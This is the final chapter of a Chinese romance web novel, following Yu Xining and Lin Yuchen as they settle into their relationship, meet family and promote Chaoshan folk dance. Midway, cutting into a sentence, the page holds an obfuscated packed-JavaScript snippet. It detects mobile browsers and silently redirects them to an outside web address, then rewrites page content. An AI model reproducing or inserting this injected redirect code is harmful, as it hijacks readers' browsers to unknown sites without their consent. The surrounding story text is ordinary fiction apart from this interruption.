陈慧柔越想越开心,待把碗洗完,家务都做好了,便迫不及待地跑到房间里去给黄沐卿打电话。 期间余希柠进进出出经过主卧都能听见陈慧柔藏不住的笑声,和一次次强调的“缘分”二字。 不得不感慨,林屿沉今日这场戏误打误撞让她见识到了陈慧柔欣喜若狂是什么样的。 从饶平开车到广州,不堵车的话要将近五个小时,周日又是返程高峰,余希柠问林屿沉打算几点出发。 林屿沉:“明早七点。” 余希柠:“啊这么早?本来还打算请你吃肠粉的。” 林屿沉:“等下次也行。” 余希柠有点想问林屿沉,到底是什么时候开始喜欢自己的,按宋乔的说法是早有端倪,可究竟有多早呢,她想知道。 林屿沉:“在干嘛?” 许是一直等不到余希柠回复,他主动问了句。 余希柠趴在床上,斟酌着文字,最后还是打算直接问。 “白天不能展开细说的话,你要不现在说给我听?” 这晚,余希柠做了一个很长的梦,梦里仿佛回到了高中校园里,奇怪的是,她看到了林屿沉,还穿着二中的校服。 她跑上前去问他:“你怎么会来二中?你不是在金中吗?” 林屿沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276242|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手抄着校服口袋,依旧是一副酷酷的样子,张口就问:“余希柠,你期末考考得怎么样了?寄给你的笔记,都认真看了吗?” 余希柠纳闷:“你什么时候给我记笔记了,没收到啊。” 又是和学习有关,睡着的余希柠烦得眉头都皱紧了。 后来是高考毕业、许于薇结婚、出国留学…… 每个她人生阶段里比较有意义的事情里,都出现了林屿沉的身影。 他追问她为什么不回复□□上的信息,余希柠才记起来,林屿沉起初添加的是她第一个Q号,后来因为太长时间没上线,账号被收回了,又或者她密码记错了,总之没再登上去过。 他就着那个账号发了很久消息,久到以为余希柠要跟他绝交了,才等来新的号码添加。 他赌气,故作高冷,对余希柠的信息爱回不回。 暗恋者的喜欢是单方面的固执,会像滚雪球一样随着时间增加而越滚越大。 因为生活里还有其他事情会分去林屿沉的注意力,所以没有人发现他的秘密,自然也就没有人强迫他,要放弃这份固执。 他只是在这个过程中,找机会去打听,找细节去分析,装作若无其事地接近,窃喜慢慢拉近的距离,等待着一个合适的机会。 暗恋好像没有电影里展现的那么卑微跟糟糕,在他终于果断表现自己的时候,一切都是水到渠成。 另一边,陈慧柔对摄影小助理这个身份适应得非常快,起初跟着余希柠,她只敢站得远远的,生怕入了她的镜头,浪费素材。 第二次第三次,她开始帮忙拎镜头包,找感觉不错的角度推荐给余希柠,被采纳后高兴得像个要到糖的小孩。 余希柠回广州的前一天,主动要求陈慧柔带她去后街巷。故地重游勾起了陈慧柔很多关于儿时的记忆,这里的建筑还没有拆除改造,一切还和几十年前的一样。 不少老邻居还住在这,见陈慧柔来了,还能准确叫出她的名字,亲昵地打招呼。他们的房屋大多都翻修了一遍,唯有陈家这处老宅子,还是原来模样。 “这个天井已经没水了。” 余希柠探头望了下,里面都是枯枝纸屑还有一两个零食包装,像小孩扔进去的。 陈慧柔哑然失笑:“早就没水了,只是摆设,以前你外公还住在这的时候会用木板把井口给盖上,免得有小孩在周围玩,不小心掉进去了。” “妈,我给你拍几张照片吧?” “不要不要。” 陈慧柔想都没想就拒绝,她害怕面对镜头,只是来到这儿,很容易有感而发:“时间过得真快,感觉昨天我还住在这个屋子里,一大早拎着一筐衣服去河边洗,回来晾好就出门买菜做饭……” 她每经过一个地方,就跟余希柠解释从前是做什么用的,余希柠一边听,一边偷拍了好几张照片。 “这屋归属谁啊?” 离开前余希柠问道,陈慧柔想了一下:“应该是你小舅吧,不过他也看不上这里。” 余希柠把相机跟镜头收好,佯装不经意道:“可我怎么记得之前大舅开小会的时候说,这房子是给陈梓航的?” “你啊,知道还故意来套我的话。”陈慧柔戴好头盔,等着余希柠上车坐好,“后来你大舅去了趟广州,也不知道见了谁,回来后就心神不宁的。我听你舅妈说,他隔天就去了深圳,去跟你小舅谈老房子分配的事。” “然后呢?”余希柠故作对情况不了解,继续追问。 “然后?应该是给你小舅分了一套吧,但其实以你小舅的能力和财力,也看不上老家的房子,你大舅这么做就是图个心安。” 陈慧柔叮嘱余希柠,这话回去后不要跟余序洲说起,就当过去了,不要旧事重提。 余希柠隐隐约约明白陈慧柔的顾忌,答应了。 68. 大结局 回广州当天,林屿沉去高铁站接的余希柠,见到面的时候,余希柠就主动往他怀里靠了下。 “这几天累死了,我家的作息时间真是适应不了一点。” 林屿沉搂着她拍了拍,唇角微扬:“回去后休息一下。” “不行,着急剪片。” 上车后,林屿沉问起余希柠这几日拍的素材,到时可以剪多少期内容,得知才两到三期,眉头挑了挑。 “那你后面岂不是又得抽时间回去?” “等中秋,市里湘桥那边有非物质文化遗产精品展,我听朋友说到时候会展出很多非遗项目,包括木雕、潮绣、花灯那些。夜市还会举行潮州大锣鼓文化巡游。宣传部有意跟我合作,问我档期时间,我答应了。” 说起合作,有位美妆博主也找上了余希柠,想以布马舞角色妆容作为她新一期变妆的主题,希望余希柠能参与共创,提供更为专业的细节指导。 林屿沉听了很有兴趣:“怎么共创,她在你脸上画?” “当然不是,主角还是她,我提供一些镜头素材给她做画面展示,形象穿插。具体还得看剪辑方式,她这次想交给我来剪,区别于她团队的固有风格。” 余希柠眉梢得意扬起:“真的越来越多人关注到布马舞了,好开心。” 林屿沉认同:“你做的事,很有意义。” “这次回来,小洁跟我说布马舞队接了不少赴外演出的活,中秋档期也早早预定出去了,是省中秋文化节表演。你知道我们那有布马舞进校园的活动吗?就幼儿园小朋友也会表演,有一支少儿布马舞队。” 林屿沉视线落在前方路况,分了一半注意力在听余希柠说话:“之前有听说,好像我们读初中就有了。” “我原本答应了小洁要拍一期少儿布马舞的,她知道我回去还特地跟幼儿园沟通时间,可惜我内容上做了调整,这部分不拍了……” 余希柠想想还是觉得很可惜,对于练布马舞的人来说,他们一辈子就专注这一件事,等待着每一个可以让他们对外展示的机会。 而她作为传播者,考虑平台受众、账号数据,不得不做取舍。 “我会很矛盾,起初是想通过自己的能力去传播潮汕文化,借助影响力让更多人看到,可当我真的对这个文化有了感情后,就很舍不得换主题,想一直推下去。” 余希柠苦恼地看向林屿沉:“我表达得很模糊,也不知道你能不能听懂我的意思。” “其实我更建议布马舞有自己的账号进行运营,他们可以在上面发一些平日里的表演,新出的剧目,妆前妆后的反差,文化科普等等。” 林屿沉适时地提醒余希柠:“你是传播者,面向的是整个潮汕的传统文化,不是只聚焦于某项技艺,有感情完全可以理解,但一个人的力量有限,应该让舞队甚至地方政府也配合起来。” 余希柠听得眼睛都亮了,要不是林屿沉在开车,真想直接抱住他:“你怎么这么聪明啊。” 林屿沉哭笑不得:“这不是你之前和宋乔说的话吗?我们四个人在你家喝茶的时候,你自己说过就忘记了。我只是觉得想法可行,拎出来提醒你而已。” 余希柠:“那也聪明,知道抓问题抓根本,听话听重点。我是真的漏掉这个点了,赶紧和小洁说一说,看她能不能在队里找个年轻人,专门负责账号运营的事。” 转眼到了白露,林屿沉自和余希柠在一起后,没少往她家跑。 起初是因为余希柠只顾着剪片,总点外卖,后来林屿沉知道了,晚上下班就会顺道买菜来她家做饭吃。 渐渐地,一餐演变为两餐,到了周末三餐都在。 宋乔和许于薇有空,也会拖家带口过来玩,第一次见到林屿沉时,许于薇对余希柠的理想型有了具象化。 趁着两人在厨房忙碌,许于薇拉着宋乔小声道:“我现在才知道,希柠慕强,是因为谁了。” 宋乔笑道:“是不是还挺戏剧化的?其实这些年他们多多少少都有些牵绊,不是完全断了联系的那种,只是没想到,真的是互相喜欢。” “以前我只知道余希柠眼光高,每次都劝她把标准放低些,我知道她拒绝林烜的时候,还有点不爽。” 宋乔听到这句,瞬间拆穿许于薇:“是因为你自己的原因吧?” 许于薇果断承认:“对啊,拒绝我的男生选了她,她还不要,更显得我魅力不行了。” “感情就是这样的,兴许那会余希柠就因为跟林屿沉较劲,喜欢上了也说不定。” 许于薇:“她觉得开心最重要,一直想不出她谈恋爱是什么样子的,如今总算是见识到了。” 九月底,林屿沉新家入宅,余希柠也以女朋友的身份见了长辈。都是老熟人,自当是欢喜得不得了,用黄沐卿的话就是—— 林家有喜,双喜临门。 “这真是歪打正着验证了我的眼光没错,原本就是想给这两个孩子牵线来着。” 仪式结束,众人坐下闲聊,黄沐卿还在说之前想当媒人的事。 林屿沉从厨房端着甜汤出来,碰巧听到这句:“大姨,你还好意思提原本?要不是你太谨慎,我跟希柠哪里还需要绕这么一圈。” 余希柠正在餐桌旁摆碗筷,忽然听到这句,推搡林屿沉,小声道:“胡说什么呢。” 黄沐卿哈哈大笑:“是是是,这事儿是我的责任,我揽下了。主要那会偏心希柠,怕你知道是她,又拒绝,这样女孩子多没面子。我哪知道你拒绝的原因,也是因为她。” “这不就印证了一句老话,是天定的缘分,早晚都是他们的。” 黄沐冰看着余希柠,实在喜欢得很。 前段时间林屿沉和家里说这事时,她和丈夫就紧张地问,是不是得找机会去余希柠父母家坐一坐。 潮汕人最注重礼节,他们家是男方,更应周到些。 结果林屿沉说,余希柠父母出去旅游了,要一周后才回。 彼时他们家要忙新家入宅的事,这才没有急急忙忙上门。 余希柠给余序洲和陈慧柔安排了三峡游轮五日游的项目,在重庆下游轮后又玩了三天才回。 原本余希柠是想一家人去云南玩,现在她时间自由,能灵活安排,是余序洲自己主动提出想要带陈慧柔去三峡游轮,余希柠就负责订票和安排重庆三日的酒店。 那几天她做了一份非常详尽的攻略,准确到每天的行程安排,地铁线路怎么走,景点地址和门票价格,推荐饮食等等,全都写得非常详细。 发给圈内重庆朋友看有没有什么补充或更好的推荐,对方都惊呆了:“你这当工作方案来写了吧?给你的VIP客户安排行程呢?” “他们从某个角度上也算我的VIP客户。” 重庆朋友:“那这方案给出去,你客户包满意的,放心。” 事实证明,余序洲和陈慧柔确实玩得很开心,回来后和朋友迫不及待分享了旅游经历、沿途风景和当地手信,忙得都没时间和余希柠聊天。 眨眼间,餐桌上已经摆满了九菜一汤,色香味俱全,其中除了两道海鲜是叫的外卖,来了之后摆盘,其余的都是林屿沉跟余希柠做的。 落座后,黄沐卿一脸感慨:“什么时候练就的烹饪技能啊,真得给许自衡看看,让他好好学学。” “说我什么呢,刚到门口就听见了。” 许自衡有事来得晚,赶上吃饭,结果刚到就听见黄沐卿在说他。 “哦说我哥这一手厨艺啊,那都是在希柠姐那练的。” 许自衡洗干净手,在黄沐卿身旁坐下,林屿沉给他递了碗甜汤:“赶紧吃,少说话。” 许自衡:“哎你要对我好点啊,不然当着小姨的面,我瞒不住的啊。” 余希柠一听这话,忙抬眼警惕看着许自衡:“你要干嘛?” 吃了个芝麻馅儿的汤圆,暂时解了馋劲,许自衡替黄沐卿说话:“小姨,我妈可太冤了,明明是我哥胆子小,还老让我妈背锅。他老早就喜欢希柠姐了,把人微信设置顶,我以为那会两人就已经在一起了,结果是我哥单相思。” 余希柠闻言看了林屿沉一眼,他正好在帮她剥虾,听了许自衡的话后也没觉得尴尬或者生气,只是淡淡笑着。 “他这么晚才追到希柠姐,怪他自己,不怪我妈。” 黄沐卿:“哦?还有这样的事情?” 林屿沉瞥了许自衡一眼:“追到就行了,做事看结果,懂吗?” 余希柠忍着笑,拍拍他的手。 饭后,许自衡被叫去厨房洗碗,余希柠中途进去帮忙,见林屿沉在客厅负责冲茶,便放下心来小声打听:“你什么时候看见他把我微信设置置顶的?” “得有好多年了。”许自衡努力回想,“你还记得我刚加你微信那会吗,当时我就觉得头像很熟悉,像是在哪里见过,后来才想起,在我哥手机里。” 余希柠有了印象,当时许自衡说的时候,她还嘲讽过这种搭讪方式太过老套,但那也太早了吧。 设了置顶却从未聊过天,那是干什么。 晚上,余希柠就着这个问题追问林屿沉,林屿沉被她这么压在沙发上无法动弹,只能坦诚回答。 “置顶有两个好处,一是想起来就能点开头像看你的朋友圈,最近有没有什么新动态。第二就是挡桃花,有人问我就说有女朋友,然后给他们看微信置顶。” “这都行?” 余希柠惊讶于这种诈骗行为:“那我岂不是平白无故当了你好几年女朋友,你就不怕我当时有男朋友,然后共同好友看到你的置顶吗?” 林屿沉单手搭在余希柠的后腰上,抿了下唇,表情作思考状:“当时有想过,有段时间我看你晒的照片里出现了一个男生。” “林烜?” “对,我一直以为你们是男女朋友,所以那段时间我取消了对你的置顶,后来才重新改回去。” 余希柠听着听着,趴在林屿沉胸口上笑:“你怎么会有这么幼稚的行为啊……” 林屿沉挑眉,表情坦然,语气也很平静:“还好吧,这跟别人发那种仅他可见的朋友圈相比,稳重些?” “稳重个鬼。” 余希柠抬起手指描画林屿沉的眉毛,指尖在他脸上点了点:“那现在还是置顶吧?” “当然。”林屿沉想到什么,问:“你呢,有没有把跟我的聊天置顶?” 余希柠心虚:“当然。” 林屿沉看穿她的小表情,原本搭在后腰上的手往上移了移,捋了下她耳边的碎发,随即往茶几上探。 “那我检查一下。” “别别别。” 挣扎间,两人的身体贴得更近,余希柠像是想到什么转移林屿沉注意力的办法,在他唇上亲了一下。 林屿沉:“果然没置顶。” 余希柠:“……” 林屿沉:“那得让你长长记性才行。” 亲吻反客为主,大有一种吃干抹净的意思,林屿沉翻身换了个姿势,沙发巾掉到了地毯上。 余希柠轻喘了两声,双手被举高扣着,舌尖被吮得发麻,换气时娇声提醒:“别,别在沙发。” 白天这里还是长辈们坐的位置,余希柠觉得不太好意思,推着林屿沉换地方。 林屿沉被她湿漉漉的眼神盯得头皮发麻,强忍着将人抱起,外套掉落在地上,拖鞋掉落在房门口。 门砰的一声关上,缠绵被肆意放大。 新年,余希柠为拍摄潮汕游神专题提前回饶平做准备工作,这次她不是单打独斗。去年年末陈泽豪正式加入她的团队,负责主摄影,余希柠有了更多时间空出来做擅长的剪辑。 但即便如此,工作还是排得很满,为了赶时间节点,余希柠通常是拍完就连夜剪辑处理成片。 除夕去爷爷家聚餐都是最晚到,最早走,就为了赶回家剪片,晚上十一点还要出去拍烟火。林屿沉陪着她一起,过完零点,取完镜头再送她回家。 初一一早,陈慧柔和余序洲去陈敬涛家拜年。 王君穿了身新衣服从楼上下来,腕上还戴了条金手链,说是陈梓航女朋友给她买的新年礼物。 “希柠怎么没来,还想着她会带男朋友一块来拜年呢。” 陈慧柔淡笑:“她初一最忙,天还没亮背着相机就出门了。” 王君又问:“打算什么时 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陈慧柔哈哈笑:“赶上就赶上呗,不想操心了,我俩现在就完全是享受生活的状态,等旅完游回来,还打算去看张学友的演唱会呢。” 年轻那会,听歌都得借同学的磁带,现在托孩子的福可以去现场看演唱会,还能见到张学友本人,这哪是陈慧柔从前敢想的事情。 她算是真切体会到了余希柠说的,专注自己的生活,去尝试不同新事物,整个人的心境都开阔了不少。 眼看劝不动,王君和陈敬涛也不再继续这个话题。 余序洲又问:“梓航年底生意做得怎么样?就没有给你们俩安排什么活动?多出去外面走走确实是舒服的,现在的城市,都大变样。” “说了,是我们不想去,人太多了,走到哪都是人挤人,就不去凑热闹了。” 王君和陈敬涛对视了一眼,“旅游太劳累,我们俩年纪大了,还是躲在家里清闲舒服。遇到假期孩子们又都回来,有得忙。对吧?” 陈敬涛附和地嗯了一声。 陈慧柔浅呷一口茶,笑着没说什么。 一直到初三,余希柠才忙完手头上的活,拿着双大桔和礼物给亲戚挨个拜年。 年初六,小学同学一年一聚,这次余希柠和林屿沉光明正大地挽着手出现。老同学们纷纷起哄,有的甚至还拿出去年聚会拍的合照,说林屿沉是早有预谋。 当时合照站他旁边的男同学也出来作证:“我那会本来是站在希柠后面的,结果他硬挤过来,还让我往里点,原来存的这个心思。” 余希柠闻言,看向林屿沉求证:“真的假的?” 林屿沉揽着她的肩,大方点头。 “哎呦没想到,当年星期三一起值日的班干部居然走到了一起,等结婚的时候,你们怕是得找班主任做主桌,是她安排对了啊。” 林屿沉:“好建议,采纳了。” 聚会结束,一行人从石壁山上下来,经过二中校门口,余希柠眯起眼睛,感慨道:“时间过得真快,我时常在想,如果当时小升初,我也去考金中,一切会不会变得不一样。” 林屿沉:“以你小学的实力,确实有可能考上。” 余希柠扭头看向林屿沉,好奇道:“你会遗憾初高中时期,没跟我做同学吗?” 林屿沉认真看着余希柠,难得直男思维:“读书的时候肯定不遗憾,现在和你在一起就会遗憾。” 余希柠冷笑了两声:“也是,你的学生时代成绩斐然,战绩卓卓,顾不上早恋,一心只有向上攀登。不像我,乏善可陈,没心没肺,还有很多不太美好的回忆。” 林屿沉捏了捏余希柠的脸,拥着她肩膀的手微微往里收:“都不重要了。” “重要。”余希柠强调了一下,抬眸看林屿沉,“没想到有一天,我会跟学霸谈恋爱,我以为我们俩之间有天堑鸿沟。” 林屿沉:“我们早就回到一样的起点了,而且这次是我落后于你。” 余希柠闻言不解。 林屿沉温言解释:“工作上,我们都选择了从0开始,但你起步比我快,比我高,余希柠,这次是我在奋力追赶你。” 落日光芒万丈,洒落在这座无比熟悉的小镇,还有眼前这个眼里只有自己的青年。 一步步走来,允许太阳下山,允许偶然失败,允许被阴郁裹挟,允许跌倒了哭泣沮丧…… 允许一切发生,因为只要重新抬头,总会有新的际遇出现,或故人重逢,或失而复得,或成就最好的自己。 微信提示音响,是陈慧柔发来两个视频。 “我妈居然穿古装去故宫,太潮了吧!” 林屿沉闻声凑过来:“嗯?让我看看太后娘娘是什么样的。” 余希柠一脸惊喜:“我没给他们约妆造啊,是你安排的吗?” 林屿沉摇头。 陈慧柔又发来一段语音,余希柠迫不及待点开,传来一阵爽朗的笑声—— “妹妹,妈妈来故宫体验了一把穿越,怎么样?还不错吧?我看不少小姑娘都这么打扮还约了摄影师跟拍,我就去问了一下上哪租的。你爸就鼓励我拍一套,好不好看?” 余希柠:“太美了陈女士,简直惊艳!” 陈慧柔一边说一边笑:“真的假的?哎哟一开始还挺不好意思的,后来你沐冰阿姨就说拍拍拍,来都来了。你看,这算不算是你经常说的人生照片?” 余希柠重重点头,嗯了一声:“恭喜你陈慧柔女士,又解锁了人生新体验。” 没有人规定,女性的花期到底有多长,不论是三十还是六十,她都可以绽放属于那个阶段的魅力。 没有人要求,女性一定要是谁的附属品,蝴蝶与坦克可以并存于一个女人身上,她只是她自己。 没有人解释,最和谐的母女关系应该是什么样的,互相独立而自由的灵魂,比任何期待都重要。 没有人定义,女性究竟怎么样才算实现价值,只要酣畅尽兴,生命就是一万次春和景明。 每个人都有属于自己的人生轨道与时间轴,最好的主角永远是自己。